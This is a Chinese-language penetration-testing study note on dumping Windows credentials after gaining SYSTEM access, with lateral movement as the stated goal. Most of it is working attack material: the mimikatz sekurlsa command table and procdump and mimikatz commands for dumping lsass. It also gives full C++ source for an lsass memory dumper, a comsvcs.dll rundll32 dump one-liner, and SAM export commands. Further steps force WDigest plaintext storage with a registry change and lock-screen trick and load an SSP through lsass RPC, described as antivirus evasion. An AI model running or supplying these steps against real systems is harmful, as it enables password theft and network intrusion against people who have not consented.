当得到了某台机器的system权限后,这台机器中其实往往有可能存在一些别的用户登陆遗留下来的hash。如果能得到这些哈希,结合《域渗透学习笔记(三、哈希的利用)》中的方法,可能会有助于我们在内网中横向移动,进一步扩大战果,因此,本节记录目前常用的导出hash方法。
1.从lsass进程中获取hash/明文密码
本质上来说,大多数dump hash的方法都是对lsass进程做的文章,lsass是一个系统进程,用于微软Windows系统的安全机制。用于本地安全和登陆策略。因此我们也就是要想办法把这个进程的内存dump下来。
1.1.mimikatz
mimikatz的代码非常值得学习,提取用户凭证功能,其主要集中在sekurlsa模块。并且代码中列出了常用的提取用户凭据的方法。
const KUHL_M_C kuhl_m_c_sekurlsa[] = { {kuhl_m_sekurlsa_msv, L"msv", L"Lists LM & NTLM credentials"}, {kuhl_m_sekurlsa_wdigest, L"wdigest", L"Lists WDigest credentials"}, {kuhl_m_sekurlsa_kerberos, L"kerberos", L"Lists Kerberos credentials"}, {kuhl_m_sekurlsa_tspkg, L"tspkg", L"Lists TsPkg credentials"}, #if !defined(_M_ARM64) {kuhl_m_sekurlsa_livessp, L"livessp", L"Lists LiveSSP credentials"}, #endif {kuhl_m_sekurlsa_ssp, L"ssp", L"Lists SSP credentials"}, {kuhl_m_sekurlsa_all, L"logonPasswords", L"Lists all available providers credentials"}, {kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"}, {kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"}, {kuhl_m_sekurlsa_sk_bootKey, L"bootkey", L"Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials"}, {kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"}, #if !defined(_M_ARM64) {kuhl_m_sekurlsa_krbtgt, L"krbtgt", L"krbtgt!"}, #endif {kuhl_m_sekurlsa_dpapi_system, L"dpapisystem", L"DPAPI_SYSTEM secret"}, #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 {kuhl_m_sekurlsa_trust, L"trust", L"Antisocial"}, {kuhl_m_sekurlsa_bkeys, L"backupkeys", L"Preferred Backup Master keys"}, #endif {kuhl_m_sekurlsa_kerberos_tickets, L"tickets", L"List Kerberos tickets"}, {kuhl_m_sekurlsa_kerberos_keys, L"ekeys", L"List Kerberos Encryption Keys"}, {kuhl_m_sekurlsa_dpapi, L"dpapi", L"List Cached MasterKeys"}, {kuhl_m_sekurlsa_credman, L"credman", L"List Credentials Manager"}, };
目前微软对于内存中凭据的保护越来越严格了,下图是一张凭据分布情况图,可以看出随着版本的更新,凭据在内存中出现的更少了,并且保护也更加严格。
从上面的代码中我们可以看出,最常用的就是这个logonPasswords
,该功能模块可以列出所有可用的用户凭据。
1.2.procdump
procdump工具可以非常方便的帮助我们dump某个进程的内存,并且这个程序是windows官方提供的,因此天然自带一定的免杀,可以使用该工具对目标主机dump内存后将文件下载到本地进行凭据提取。配合mimikatz的使用方法如下。
1.dump lsass内存
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2.使用mimikatz从内存dump文件中读取凭据
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
1.3 windows API Dump内存
其实就是遍历进程列表,获取进程具柄,创建快照然后保存到文件。以下为ired.team
中的代码。
#include "stdafx.h" #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> using namespace std; int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+] Got lsass.exe PID: " << lsassPID << endl; } lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); if (isDumped) { cout << "[+] lsass dumped successfully!" << endl; } return 0; }
1.4 系统自带工具dump lsass的内存镜像
rundll32.exe
是系统的一个自带工具,可以运行dll文件,系统中自带的comsvcs.dll
正好就可以帮助我们完成内存dump的过程。
tasklist | findstr lsass #查看lsass进程的id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 488 C:\windows\temp\lsass.dmp full
注意:此方法需要system权限!
1.5 调用lsass的RPC加载SSP实现内存dump
一个叫XPN的神仙发现的方法,可以调用lsass的RPC让它主动去加载一个自定义的dll。这样的话,杀毒软件肯定是不会组织lsass进程自己去dump自己内存的,从而实现了免杀。开源代码地址如下:
源码地址 使用方法非常简单,如下图所示。当然,这个dll是别人写好专门用来dump lsass进程内存的,其实换一些别的dll也同样可以加载。
2.从SAM中获取hash
1.导出sam
reg save hklm\system system.bak reg save hklm\sam sam.bak
2.使用mimikatz读取sam
mimikatz.exe "lsadump::sam /system:system.bak /sam:sam.bak" exit
3.kb2871997导致无法抓明文密码绕过
kb2871997 通过禁用Wdigest Auth来强制系统内存不保存明文口令。所以很多机器上用mimikatz抓到的密码都是null。以下为常用的强制系统明文存储密码的方式:
3.1 修改注册表+强制锁屏
1.修改注册表
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
2.锁屏,然后等待用户登陆
RunDll32.exe user32.dll,LockWorkStation
如下图,修改完注册表后,可以获取到明文密码
3.2 RPC加载mimilib+强制锁屏
这个调用lsass进程的RPC迫使其加载SSP(dll)的方法是真的香,各种免杀。但是唯一不好的存在让系统崩溃重启的可能。 1.调用ssp加载mimilib
.\loader.exe C:\Users\Administrator\Desktop\mimilib.dll
2.锁屏,然后等待用户登陆
RunDll32.exe user32.dll,LockWorkStation
3.当用户打开锁屏登陆后,查看c:\windows\system32\kiwissp.log
获取密码
type c:\windows\system32\kiwissp.log
参考链接
- https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
- https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADSSP%E7%9A%84%E4%BD%BF%E7%94%A8/
- https://blog.xpnsec.com/exploring-mimikatz-part-2/